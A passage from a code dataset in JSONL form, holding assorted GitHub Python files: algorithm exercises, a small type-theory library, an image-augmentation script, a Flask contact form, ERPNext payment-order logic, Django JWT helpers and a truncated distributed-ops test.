queue.pop()\n            for d in directions:\n                newR = r + d[0]\n                newC = c + d[1]\n                if newR < 0 or newR >= n or newC < 0 or newC >= m:\n                    continue\n                if A[newR][newC] == 0:\n                    queue.insert(0, ((newR, newC), level + 1))\n                    A[newR][newC]=2\n                if A[newR][newC] == 1:\n                    #注意这里我们没有return level+1，这个位置的level实际上是应该等于level+1\n                    #但是因为题目问的是桥得多长，这里以及是第二个岛上的位置了，因此桥的长度应该是\n                    #等于level\n                    return level\n","repo_name":"EvanNingduoZhao/LeetCode","sub_path":"Search/DFS/934_Shortest_bridge_medium.py","file_name":"934_Shortest_bridge_medium.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40987792472","text":"class Solution:\n    def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        if not head: # 如果链表为空，返回 null 。\n            return None\n\n        slow, fast = head, head \n        while fast: # 遍历链表，并找到重复元素。\n            if fast.val != slow.val: # 如果 fast 指向的节点与 slow 指向的节点的值不相等，说明链表中出现了重复元素。\n                slow.next = fast # 将 slow 指向 fast 的位置。\n                slow = slow.next # slow 指向下一个节点。\n            fast = fast.next # fast 指向下一个节点。\n        slow.next = None # 断开与后面重复元素的连接\n        return head # 返回处理后的链表头节点。\n\n# remember the last step is very important! \n# cases you can think about before running the code\n# 1 -> 1 -> 2 -> 2 -> 3\n# 1 -> 1 -> 2 -> 2","repo_name":"Logenleedev/--Data-Structure-and-Algorithm","sub_path":"Extra/题单_and_tag/labuladong/双指针技巧秒杀七道数组/Leetcode_83_remove_duplicate_from_sorted_list.py","file_name":"Leetcode_83_remove_duplicate_from_sorted_list.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41755158105","text":"'''\nWrite some basic mathematical facts using Plean\nSuch as true, false, Nat(ural numbers), Eq(uals), etc.\n'''\n\nfrom plean import *\n\n# Definitions\n# Basic types and properties\n\nProp = Sort(0)\nType = Sort(1)\n\n\nfalse = ConstructedType(\n    constructors = (),\n    args =  (),\n    indexes = (),\n    type = Prop,\n    name = Token(\"false\"),\n)\n\ntrue = ConstructedType(\n    constructors = (\n        ConstructorTemplate(\n            Token(\"intro\"),\n            tuple(),\n            tuple(),\n            tuple(),\n        ),\n    ),\n    args = (),\n    indexes = (),\n    type = Prop,\n    name = Token(\"true\"),\n)\ntrue_intro = Constructor(\n    type = true,\n    constructor_index = 0,\n    args = (),\n    type_args = (),\n)\n\nAnd = ConstructedType(\n    constructors = (\n        ConstructorTemplate(\n            Token(\"intro\"),\n            (Token('a'), Token('b')),\n            (Variable(Prop, Token('alpha')), Variable(Prop, Token('beta')),),\n            (),\n        ),\n    ),\n    name = Token(\"and\"),\n    args = ((Token('alpha'), Prop), (Token('beta'), Prop)),\n    indexes = (),\n    type = Prop,\n)\ndef and_intro(hp, hq):\n    p = infer_type(hp)\n    q = infer_type(hq)\n    return Constructor(\n        type = And,\n        constructor_index=0,\n        args = (hp, hq),\n        type_args = (p, q),\n    )\ndef and_outro(and_p_q, p, q, side):\n    type_ = infer_type(and_p_q)\n    assert isinstance(type_, InstantiatedConstructedType)\n    return Apply(\n        Recursor(\n            type = type_,\n            result_type = p if side == \"left\" else q,\n            match_cases = (\n                Lambda(\n                    arg_name = Token('hp'),\n                    arg_type = p,\n                    body = Lambda(\n                        arg_name = Token('hq'),\n                        arg_type = q,\n                        body = Variable(p, Token(\"hp\")) if side == \"left\" else Variable(q, Token(\"hq\")),\n                    )\n                ),\n            ),\n        ),\n        and_p_q,\n    )\ndef and_outro_left(and_p_q, p, q):\n    return and_outro(and_p_q, p, q, \"left\")\ndef and_outro_right(and_p_q, p, q):\n    return and_outro(and_p_q, p, q, \"right\")\n\nOr = ConstructedType(\n    constructors = (\n        ConstructorTemplate(\n            Token('intro_l'),\n            (Token('a'),),\n            (Variable(Prop, Token('alpha')),),\n            (),\n        ),\n        ConstructorTemplate(\n            Token('intro_r'),\n            (Token('b'),),\n            (Variable(Prop, Token('beta')),),\n            (),\n        ),\n    ),\n    name = Token(\"or\"),\n    args = ((Token('alpha'), Prop), (Token('beta'), Prop)),\n    indexes = (),\n    type = Prop,\n)\ndef or_intro_left(p, q, hp):\n    return Constructor(\n        type = Or,\n        constructor_index = 0,\n        args = (hp,),\n        type_args = (p, q),\n    )\ndef or_intro_right(p, q, hq):\n    return Constructor(\n        type = Or,\n        constructor_index = 1,\n        args = (hq,),\n        type_args = (p, q),\n    )\ndef or_outro(or_p_q, p, q, r, p_then_r, q_then_r):\n    or_p_q_type = infer_type(or_p_q)\n    assert isinstance(or_p_q_type, InstantiatedConstructedType), f\"Expected {or_p_q} to be instantiation of Or\"\n    return Apply(\n        Recursor(\n            type = or_p_q_type,\n            result_type = r,\n            match_cases = (\n                p_then_r,\n                q_then_r,\n            ),\n        ),\n        or_p_q,\n    )\n\n_type = Variable(Type, Token('type'))\nEq = ConstructedType(\n    constructors = (\n        ConstructorTemplate(\n            name = Token('rfl'),\n            arg_names = (),\n            arg_types = (),\n            result_indexes = (Variable(_type, Token('val2')),),\n        ),\n    ),\n    args = ((Token('type'), Type), (Token('val1'), _type)),\n    indexes = ((Token('val2'), Variable(Type, Token('type'))),),\n    type = Prop,\n    name = Token('Eq')\n)\ndef rfl(a):\n    type = infer_type(a)\n    return Constructor(\n        type = Eq,\n        constructor_index = 0,\n        args = (),\n        type_args = (type,a),\n    )\n\nNat_type = ConstructedType(\n    (\n        ConstructorTemplate(\n            Token(\"Zero\"),\n            (),\n            (),\n            (),\n        ),\n        ConstructorTemplate(\n            Token(\"Succ\"),\n            (Token(\"nat_n\"),),\n            (Constant(Token('Nat')),),\n            (),\n        ),\n    ),\n    args = (),\n    indexes = (),\n    type = Type,\n    name = Token('Nat'),\n)\nNat = InstantiatedConstructedType(Nat_type, (), ())\nconstants['Nat'] = Nat\nnat_zero = Constructor(\n    Nat.type,\n    0,\n    args  = (),\n    type_args = (),\n)\nnat_succ = Nat.type.constructors[1]\nnat_one = Constructor(Nat.type, 1, args=(nat_zero,), type_args=())\n\n\n# Basic destructor for testing purposes\n# Sends 0 -> 1 and all others to zero\nnat_twist = Recursor(\n    Nat,\n    Nat,\n    (\n        nat_one,\n        Lambda(Token('n'), Nat, nat_zero),\n    ),\n)\n\nnat_greater = Variable(\n    Pi(\n        Token('n'),\n        Nat,\n        Pi(\n            Token('m'),\n            Nat,\n            Prop\n        )\n    ),\n    Token('>')\n)\n\nnat_succ_greater_zero = Variable(\n    Pi(\n        Token('n'),\n        Nat,\n        Apply(\n            Apply(\n                nat_greater,\n                Constructor(\n                    Nat.type,\n                    1,\n                    args = (Variable(Nat, Token('n')),),\n                    type_args = (),\n                ),\n            ),\n            nat_zero,\n        )\n    ),\n    Token('succ_greater_zero')\n)","repo_name":"tgbrooks/plean","sub_path":"library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":5411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40354354053","text":"import matplotlib\r\ntry:\r\n    matplotlib.use('TkAgg')\r\nexcept:\r\n    pass\r\n\r\nimport imageio\r\nimport imgaug as ia\r\nfrom imgaug import augmenters as iaa\r\nimport numpy as np\r\nimport os\r\nfrom PIL import Image\r\nfrom PykaDex.Python_General.config import *\r\n\r\ndef transparency_checker(image):\r\n    img = Image.open(image, 'r')\r\n    if img.mode == \"P\":\r\n        transparent = img.info.get(\"transparency\", -1)\r\n        for _, index in img.getcolors():\r\n            if index == transparent:\r\n                return True\r\n    elif img.mode == \"RGBA\":\r\n        extrema = img.getextrema()\r\n        if extrema[3][0] < 255:\r\n            return True\r\n    return False\r\n\r\ndef bg_swap(poke_file,bg_file,comb_file):\r\n    \"\"\"\r\n    \"\"\"\r\n    pokemon = Image.open(poke_file, 'r')\r\n    background = Image.open(bg_file,'r')\r\n    background= background.resize(pokemon.size)\r\n    comb_img = Image.new('RGB', (pokemon.size), (0, 0, 0, 0))\r\n    comb_img.paste(background, (0,0))\r\n    comb_img.paste(pokemon, (0,0), mask=pokemon)\r\n    final = comb_img.convert('RGB')\r\n    final.save(comb_file, format=\"jpeg\")\r\n    \r\ndef augment_image(image_loc,aug_loc,N,show=True,sub_dirs=None):\r\n    \"\"\"\r\n    image_loc = path to orginal image\r\n    aug_loc   = path to augmented images\r\n    N = number of augmented images generated\r\n    \"\"\"\r\n\r\n    ##########################################################\r\n    # check if image transparent\r\n    ##########################################################\r\n\r\n    if transparency_checker(image_loc) == True:\r\n        print( ' - TRANSPARENT')\r\n\r\n        if not os.path.exists(bg_folder):\r\n            print('cant locate backgrounds')\r\n\r\n        for dirpath, dirs, files in os.walk(bg_folder):  \r\n            for filename in files:\r\n                background = os.path.join(dirpath,filename)\r\n                \r\n                new_combined_filename = os.path.join(comb_folder,image_loc[len(source_loc):])\r\n\r\n                if not os.path.exists(os.path.join(comb_folder,sub_dirs)):\r\n                    os.makedirs(os.path.join(comb_folder,sub_dirs))\r\n\r\n                bg_swap(image_loc,background,new_combined_filename)\r\n                augment_image(new_combined_filename,aug_loc,N,show=False,sub_dirs=sub_dirs)\r\n\r\n    #########################\r\n    # get image\r\n    #########################\r\n\r\n\r\n    image = imageio.imread(image_loc, as_gray=False, pilmode=\"RGB\")\r\n    if show==True:\r\n        print(\"Original:\")\r\n        ia.imshow(image)\r\n\r\n    ###########################\r\n    # augment\r\n    ###########################\r\n\r\n    seq = iaa.Sequential([\r\n        iaa.Affine(rotate=(-25, 25)),\r\n        iaa.AdditiveGaussianNoise(scale=(30, 90)),\r\n        iaa.Crop(percent=(0, 0.4)),\r\n        iaa.CropAndPad(percent=(-0.2, 0.2), pad_mode=\"edge\"),  # crop and pad images\r\n        iaa.ElasticTransformation(alpha=90, sigma=9),  # water-like effect\r\n        iaa.Cutout()  # replace one squared area within the image by a constant intensity value\r\n    ], random_order=True)\r\n\r\n    images_aug = [seq(image=image) for _ in range(N)]\r\n\r\n    if show==True:\r\n        print(\"Augmented:\")\r\n        ia.imshow(ia.draw_grid(images_aug[:8], cols=4, rows=2),)\r\n\r\n    ###########################\r\n    # save augmented images\r\n    ###########################\r\n\r\n    if not os.path.exists(aug_loc):\r\n            os.makedirs(aug_loc)\r\n\r\n    for n in range(0,len(images_aug)):\r\n        new_image_name = \"{}/{}-A{}.jpg\".format(aug_loc,(image_loc.split('/')[-1]).split('.')[0],n)\r\n        imageio.imwrite(new_image_name, images_aug[n])\r\n    print(\" [] - augmented images saved to '{}'\".format(new_image_name))\r\n\r\n    #############################\r\n\r\n\r\ndef augment_folder(folder_loc,aug_loc,N):\r\n    \"\"\"\r\n    source_loc = path to orginal folder containing images to be augmented\r\n    aug_loc   = path to augmented images\r\n    N = number of augmented images generated per orginal image\r\n    \"\"\"\r\n\r\n    for dirpath, dirs, files in os.walk(source_loc):  \r\n        for filename in files:\r\n\r\n            sub_dirs = dirpath[len(source_loc):]\r\n            if filename[0] == '.':\r\n               print(' # image error - \"{}\"'.format(os.path.join(sub_dirs,filename)))\r\n               continue\r\n\r\n            image_loc = os.path.join(dirpath,filename)\r\n            aug_loc_ = os.path.join(aug_loc,sub_dirs)\r\n           \r\n\r\n            #try:\r\n            augment_image(image_loc,aug_loc_,N,show=False,sub_dirs=sub_dirs)\r\n            #except:\r\n            #    print(' # image error - \"{}\"'.format(os.path.join(dirpath[len(source_loc):],filename)))\r\n            #    pass\r\n\r\n##############################################################\r\n# SETUP\r\n##############################################################\r\n\r\nprint('starting...')\r\n\r\n# source dir containg images to be augmented\r\nsource_loc = path_to_training_data+'Pokemon_source_images/'\r\n\r\n# dir for augmented images to be placed (file structure will be kept i.e augmented/bublsaur/image,jpg)\r\naug_loc = path_to_training_data+'Augmented_images/'\r\n\r\n# dir containg bg images for transparent pokemon\r\nbg_folder = path_to_training_data+'backgrounds/'\r\n\r\n# dir for combined transparent images with new backgrrounds\r\ncomb_folder = path_to_training_data+'combined/'\r\naugment_folder(source_loc,aug_loc,100)\r\nprint('finished.')","repo_name":"Sudini1412/PykaDex","sub_path":"PykaDex/Model_Building/Data_Scripts/augment_data.py","file_name":"augment_data.py","file_ext":"py","file_size_in_byte":5240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74333036352","text":"from setuptools import setup, Extension\nimport subprocess\nimport os\n\ndef get_git_revision_short_hash() -> str:\n    try:\n        return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD']).decode('ascii').strip()\n    except Exception:\n        return \"DEV_BRANCH_UNDEFINED\"\n\nVERSION = os.environ.get(\"ANCYR_TOOLS_RELEASE_VERSION\", f\"{get_git_revision_short_hash()}\")\n\ndef main():\n    setup(\n        name=\"ancyr-tools\",\n        version=VERSION,\n        description=\"Python tools for Ancyr development\",\n        author=\"Adam Schafer\",\n        author_email=\"adam.schafer@bgnetworks.com\",\n    )\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Sathishkumar-rk/ancyr-tools","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29278965008","text":"import pandas\n\ndata = pandas.read_csv(\"nato_phonetic_alphabet.csv\")\n\n# without index you get \"tuple has no attribute 'letter'\" error\nphonetic_dict = {row.letter: row.code for index, row in data.iterrows()}\n\ndef generate_nato():\n    word = input(\"Enter a word to convert to NATO: \").upper()\n\n    try:\n        output = [phonetic_dict[letter] for letter in word]\n    except KeyError:\n        print(\"Sorry, only letters of the alphabet please!\")\n        generate_nato()\n    else:\n        print(output)\n\ngenerate_nato()","repo_name":"WardVerc/python-course","sub_path":"day-26-nato/nato.py","file_name":"nato.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34334946440","text":"from flask import Flask, render_template, request\nfrom dotenv import load_dotenv\nfrom config.db import db\n\napp = Flask(__name__)\nload_dotenv()\n\ncontacts = db.contacts\n\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/<string:page>\")\ndef page(page=None):\n    return render_template(page)\n\n\n@app.route(\"/submit_contact\", methods=[\"POST\", \"GET\"])\ndef submit_contact():\n    if request.method == \"POST\":\n        try:\n            data = request.form.to_dict()\n            contacts.insert_one(data)\n            return render_template(\"/thank_you.html\", name=data[\"email\"])\n        except Exception as err:\n            print(err)\n            return render_template(\"contact.html\")\n","repo_name":"A1DS19/web-development-python","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1569794177","text":"import frappe\nfrom frappe import _\nfrom frappe.model.document import Document\nfrom frappe.utils import nowdate\n\nfrom erpnext.accounts.party import get_party_account\n\n\nclass PaymentOrder(Document):\n\tdef on_submit(self):\n\t\tself.update_payment_status()\n\n\tdef on_cancel(self):\n\t\tself.update_payment_status(cancel=True)\n\n\tdef update_payment_status(self, cancel=False):\n\t\tstatus = \"Payment Ordered\"\n\t\tif cancel:\n\t\t\tstatus = \"Initiated\"\n\n\t\tif self.payment_order_type == \"Payment Request\":\n\t\t\tref_field = \"status\"\n\t\t\tref_doc_field = frappe.scrub(self.payment_order_type)\n\t\telse:\n\t\t\tref_field = \"payment_order_status\"\n\t\t\tref_doc_field = \"reference_name\"\n\n\t\tfor d in self.references:\n\t\t\tfrappe.db.set_value(self.payment_order_type, d.get(ref_doc_field), ref_field, status)\n\n\n@frappe.whitelist()\n@frappe.validate_and_sanitize_search_inputs\ndef get_mop_query(doctype, txt, searchfield, start, page_len, filters):\n\treturn frappe.db.sql(\n\t\t\"\"\" select mode_of_payment from `tabPayment Order Reference`\n\t\twhere parent = %(parent)s and mode_of_payment like %(txt)s\n\t\tlimit %(page_len)s offset %(start)s\"\"\",\n\t\t{\"parent\": filters.get(\"parent\"), \"start\": start, \"page_len\": page_len, \"txt\": \"%%%s%%\" % txt},\n\t)\n\n\n@frappe.whitelist()\n@frappe.validate_and_sanitize_search_inputs\ndef get_supplier_query(doctype, txt, searchfield, start, page_len, filters):\n\treturn frappe.db.sql(\n\t\t\"\"\" select supplier from `tabPayment Order Reference`\n\t\twhere parent = %(parent)s and supplier like %(txt)s and\n\t\t(payment_reference is null or payment_reference='')\n\t\tlimit %(page_len)s offset %(start)s\"\"\",\n\t\t{\"parent\": filters.get(\"parent\"), \"start\": start, \"page_len\": page_len, \"txt\": \"%%%s%%\" % txt},\n\t)\n\n\n@frappe.whitelist()\ndef make_payment_records(name, supplier, mode_of_payment=None):\n\tdoc = frappe.get_doc(\"Payment Order\", name)\n\tmake_journal_entry(doc, supplier, mode_of_payment)\n\n\ndef make_journal_entry(doc, supplier, mode_of_payment=None):\n\tje = frappe.new_doc(\"Journal Entry\")\n\tje.payment_order = doc.name\n\tje.posting_date = nowdate()\n\tmode_of_payment_type = frappe._dict(\n\t\tfrappe.get_all(\"Mode of Payment\", fields=[\"name\", \"type\"], as_list=1)\n\t)\n\n\tje.voucher_type = \"Bank Entry\"\n\tif mode_of_payment and mode_of_payment_type.get(mode_of_payment) == \"Cash\":\n\t\tje.voucher_type = \"Cash Entry\"\n\n\tpaid_amt = 0\n\tparty_account = get_party_account(\"Supplier\", supplier, doc.company)\n\tfor d in doc.references:\n\t\tif d.supplier == supplier and (not mode_of_payment or mode_of_payment == d.mode_of_payment):\n\t\t\tje.append(\n\t\t\t\t\"accounts\",\n\t\t\t\t{\n\t\t\t\t\t\"account\": party_account,\n\t\t\t\t\t\"debit_in_account_currency\": d.amount,\n\t\t\t\t\t\"party_type\": \"Supplier\",\n\t\t\t\t\t\"party\": supplier,\n\t\t\t\t\t\"reference_type\": d.reference_doctype,\n\t\t\t\t\t\"reference_name\": d.reference_name,\n\t\t\t\t},\n\t\t\t)\n\n\t\t\tpaid_amt += d.amount\n\n\tje.append(\"accounts\", {\"account\": doc.account, \"credit_in_account_currency\": paid_amt})\n\n\tje.flags.ignore_mandatory = True\n\tje.save()\n\tfrappe.msgprint(_(\"{0} {1} created\").format(je.doctype, je.name))\n","repo_name":"frappe/erpnext","sub_path":"erpnext/accounts/doctype/payment_order/payment_order.py","file_name":"payment_order.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":15303,"dataset":"github-code","pt":"60"}
+{"seq_id":"12592383819","text":"# https://adventofcode.com/2022/day/1\n\nimport os\nimport sys\n\n\ndef readInput(inputfile):\n    elves = []\n    lines = open(os.path.join(sys.path[0], inputfile), \"r\")\n    calorieset = []\n    for line in lines:\n        if line == \"\\n\":\n            elves.append(calorieset)\n            calorieset = []\n        else:\n            calorieset.append(int(line))\n    return elves\n    \ndef MaxCalories(elves):\n    maxcalorie = 0\n    for elve in elves:\n        maxcalorie = max(maxcalorie, sum(elve))\n    return maxcalorie\n\nif __name__ == '__main__':\n    input = readInput(\"input.txt\")\n    print(MaxCalories(input))","repo_name":"ajangid007/advent_of_code_2022","sub_path":"day1/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26414994635","text":"class Solution(object):\n    def exist(self, board, word):\n        \"\"\"\n        :type board: List[List[str]]\n        :type word: str\n        :rtype: bool\n        \"\"\"\n        if board is None or word is None :\n            return False\n        if len(word)==0:\n            return True\n        m,n = len(board),len(board[0])\n        mark = [[0]*n for i in range(0,m)]\n        for i in range(0,m):\n            for j in range(0,n):\n                if board[i][j]==word[0]:\n                    if self.search(i,j,0,m,n,board,word,mark):\n                        return True\n        return False\n    \n    def search(self,i,j,k,m,n,board,word,mark):\n        if k==len(word):\n            return True\n        if i<0 or i>=m or j<0 or j>=n or board[i][j]!=word[k] or mark[i][j]==1:\n            return False\n        else:\n            mark[i][j]=1\n            if self.search(i,j-1,k+1,m,n,board,word,mark) or self.search(i,j+1,k+1,m,n,board,word,mark) or self.search(i-1,j,k+1,m,n,board,word,mark) or self.search(i+1,j,k+1,m,n,board,word,mark):\n                return True\n            mark[i][j]=0\n            return False\n            \n","repo_name":"wallacegui/leetcode","sub_path":"079. Word Search.py","file_name":"079. Word Search.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"36698953241","text":"from datetime import datetime\nfrom uuid import uuid4\nimport jwt\nfrom django.apps import apps\nfrom django.http import HttpRequest\nfrom django.conf import settings\nfrom .apps import DjangoJwtExtConfig\nfrom .request import REQUESTS\nfrom .exceptions import InvalidRequest\n\n\ndef create_access_token(identity):\n    config = apps.get_app_config('django_jwt_extended')\n    payload = _create_payload(identity, 'access', config)\n    return jwt.encode(\n        payload=payload,\n        key=settings.SECRET_KEY,\n        algorithm=config.jwt_algorithm\n    )\n\n\ndef create_refresh_token(identity):\n    config = apps.get_app_config('django_jwt_extended')\n    payload = _create_payload(identity, 'refresh', config)\n    return jwt.encode(\n        payload=payload,\n        key=settings.SECRET_KEY,\n        algorithm=config.jwt_algorithm\n    )\n\n\ndef get_jwt_identity(request: HttpRequest):\n    if not any([isinstance(request, obj) for obj in REQUESTS]):\n        raise InvalidRequest(str(type(request)))\n    if 'jwt_payload' in request.META:\n        return request.META['jwt_payload'].get('sub')\n    else:\n        return None\n\n\ndef get_jwt(request: HttpRequest):\n    if not any([isinstance(request, obj) for obj in REQUESTS]):\n        raise InvalidRequest(str(type(request)))\n    return request.META.get('jwt_payload')\n\n\n\"\"\"Inner Func\"\"\"\ndef _create_payload(identity, type: str, config: DjangoJwtExtConfig):\n    if type == 'access':\n        expires = config.access_token_expires\n    else:\n        expires = config.refresh_token_expires\n    now = datetime.utcnow()\n    return {\n        'iat': now,\n        'jti': str(uuid4()),\n        'type': type,\n        'sub': identity,\n        'nbf': now,\n        'exp': now + expires,\n    }\n\n\ndef _find_jwt_token(request, refresh: bool, config: DjangoJwtExtConfig):\n    for location in config.token_location:\n        if (\n            location == 'headers'\n            and config.token_header_name in request.headers\n        ):\n            return request.headers[config.token_header_name], location\n\n        elif location == 'cookies':\n            if not refresh and config.access_token_cookie_name in request.COOKIES:\n                return request.COOKIES[config.access_token_cookie_name], location\n            elif refresh and config.refresh_token_cookie_name in request.COOKIES:\n                return request.COOKIES[config.refresh_token_cookie_name], location\n\n    return None, None\n\n\ndef _parse_jwt_token(jwt_token: str, location: str):\n    if location == 'headers':\n        if jwt_token.startswith('Bearer '):\n            return jwt_token[7:]\n    elif location == 'cookies':\n        return jwt_token\n    else:\n        return None\n\n\ndef _validate_payload(payload: dict, type: str):\n    if 'type' not in payload:\n        return 'type not found'\n    elif payload['type'] != type:\n        return 'invalid type'\n    else:\n        return \"valid\"","repo_name":"iml1111/django-jwt-extended","sub_path":"django_jwt_extended/tokens.py","file_name":"tokens.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"22462892201","text":"import unittest\n\nimport numpy as np\nimport torch\nfrom mmcv.runner import init_dist\nfrom torch import distributed as dist\nfrom torch.distributed import ReduceOp\n\nfrom easycv.utils.test_util import DistributedTestCase\n\n# ReduceOp arg can not be passed through shell cmd, map with str\nop_map = {\n    'MAX': ReduceOp.MAX,\n    'MIN': ReduceOp.MIN,\n    'SUM': ReduceOp.SUM,\n    'PRODUCT': ReduceOp.PRODUCT\n}\n\n\ndef _init_dist(torchacc_enabled):\n    if torchacc_enabled:\n        from easycv.toolkit.torchacc import torchacc_init\n        torchacc_init()\n    else:\n        init_dist(launcher='pytorch')\n\n\ndef _check_type(module,\n                is_raw_module=True,\n                torchacc_enabled=False,\n                value=None):\n    rank = dist.get_rank()\n\n    if torchacc_enabled:\n        if value is not None:\n            import torchacc.torch_xla.core.xla_model as xm\n            assert value.device == xm.xla_device()\n        if is_raw_module:\n            assert module.__module__ == 'torchacc.torch_xla.core.xla_model'\n        else:\n            assert module.__module__ == 'easycv.toolkit.torchacc.convert_ops'\n    else:\n        if value is not None:\n            cur_device = torch.device('cuda:{}'.format(rank))\n            assert value.device == cur_device\n        assert module.__module__ == 'torch.distributed.distributed_c10d'\n\n\ndef _create_value(base_value):\n    if isinstance(base_value, (int, float)):\n        base_value = torch.tensor(base_value).cuda()\n    else:\n        base_value = torch.Tensor(base_value).cuda()\n\n    rank = dist.get_rank()\n    return base_value * (rank + 1)\n\n\ndef _dist_info(torchacc_enabled=False):\n    _init_dist(torchacc_enabled)\n\n    rank = dist.get_rank()\n    world_size = dist.get_world_size()\n\n    _check_type(dist.get_rank, torchacc_enabled=torchacc_enabled)\n    _check_type(dist.get_world_size, torchacc_enabled=torchacc_enabled)\n\n    return rank, world_size\n\n\ndef _reduce(base_value, op_str, dst, torchacc_enabled=False):\n    _init_dist(torchacc_enabled)\n\n    value = _create_value(base_value)\n    dist.reduce(value, int(dst), op=op_map[op_str])\n    _check_type(\n        dist.reduce,\n        is_raw_module=False,\n        torchacc_enabled=torchacc_enabled,\n        value=value)\n\n    return value.cpu().numpy().tolist()\n\n\ndef _all_gather(base_value, torchacc_enabled=False):\n    _init_dist(torchacc_enabled)\n\n    value = _create_value(base_value)\n\n    world_size = dist.get_world_size()\n    tensor_list = [\n        torch.zeros(value.size(), dtype=value.dtype, device=value.device)\n        for _ in range(world_size)\n    ]\n    dist.all_gather(tensor_list, value)\n\n    _check_type(\n        dist.all_gather,\n        is_raw_module=False,\n        torchacc_enabled=torchacc_enabled,\n        value=value)\n\n    return [i.cpu().numpy().tolist() for i in tensor_list]\n\n\ndef _all_reduce(base_value, op_str, torchacc_enabled=False):\n    _init_dist(torchacc_enabled)\n\n    value = _create_value(base_value)\n    dist.all_reduce(value, op=op_map[op_str])\n\n    _check_type(\n        dist.all_reduce,\n        is_raw_module=False,\n        torchacc_enabled=torchacc_enabled,\n        value=value)\n\n    return value.cpu().numpy().tolist()\n\n\ndef _skip():\n    torchacc_enabled = True\n    try:\n        import torchacc\n    except:\n        torchacc_enabled = False\n\n    return not (torchacc_enabled and torch.cuda.device_count() > 1)\n\n\n@unittest.skipIf(_skip(), 'distributed unittest for torchacc')\nclass ConvertOpsTest(DistributedTestCase):\n\n    def setUp(self):\n        print(('Testing %s.%s' % (type(self).__name__, self._testMethodName)))\n\n    def test_dist_info(self):\n\n        def assert_callback(res):\n            self.assertEqual(list(res[0]), [0, 2])  # rank 0\n            self.assertEqual(list(res[1]), [1, 2])  # rank 1\n\n        # test original all_reduce\n        self.start_with_torch(\n            _dist_info,\n            num_gpus=2,\n            assert_callback=assert_callback,\n            save_all_ranks=True)\n\n        # test torchacc all_reduce\n        kwargs = {'torchacc_enabled': True}\n        self.start_with_torchacc(\n            _dist_info,\n            num_gpus=2,\n            assert_callback=assert_callback,\n            save_all_ranks=True,\n            **kwargs)\n\n    @unittest.skipIf(True, 'fix reduce with hang')\n    def test_reduce(self):\n        # base value will multiply with rank+1, and return all ranks results\n        cases = [\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [3.0, 2.0]),\n                'base_value':\n                1.0,\n                'op_str':\n                'SUM',\n                'dst':\n                0\n            },\n            {\n                'assert_callback': lambda res: self.assertEqual(res, [2, 4]),\n                'base_value': 2,\n                'op_str': 'MIN',\n                'dst': 0\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [[1.0], [2.0]]),\n                'base_value': [1.0],\n                'op_str':\n                'MAX',\n                'dst':\n                1\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [[1.0, 2.0], [2.0, 8.0]]\n                                                 ),\n                'base_value': [1.0, 2.0],\n                'op_str':\n                'PRODUCT',\n                'dst':\n                1\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(\n                    res,\n                    np.asarray([[[[3.0, 6.0], [9.0, 12.0]],\n                                 [[12.0, 9.0], [6.0, 3.0]]],\n                                [[[2.0, 4.0], [6.0, 8.0]],\n                                 [[8.0, 6.0], [4.0, 2.0]]]]).tolist()),\n                'base_value': [[[1.0, 2.0], [3.0, 4.0]],\n                               [[4.0, 3.0], [2.0, 1.0]]],\n                'op_str':\n                'SUM',\n                'dst':\n                0\n            },\n        ]\n\n        for case in cases:\n            # test original all_reduce\n            self.start_with_torch(\n                _reduce,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                save_all_ranks=True,\n                base_value=case['base_value'],\n                op_str=case['op_str'],\n                dst=case['dst'])\n\n            # test torchacc all_reduce\n            kwargs = {'torchacc_enabled': True}\n            self.start_with_torchacc(\n                _reduce,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                save_all_ranks=True,\n                base_value=case['base_value'],\n                op_str=case['op_str'],\n                dst=case['dst'],\n                **kwargs)\n\n    def test_broadcast(self):\n        # Not implemented for torchacc yet\n        pass\n\n    def test_all_gather(self):\n        # base value will multiply with rank+1\n        cases = [\n            # nor support scalar type\n            # {\n            #     'assert_callback': lambda res: self.assertEqual(res, [1.0, 2.0]),\n            #     'base_value': 1.0,\n            # },\n            # {\n            #     'assert_callback': lambda res: self.assertEqual(res, [2, 4]),\n            #     'base_value': 2,\n            # },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [[1.0], [2.]]),\n                'base_value': [1.0],\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [[1.0, 2.0], [2.0, 4.0]]\n                                                 ),\n                'base_value': [1.0, 2.0],\n            },\n            {\n                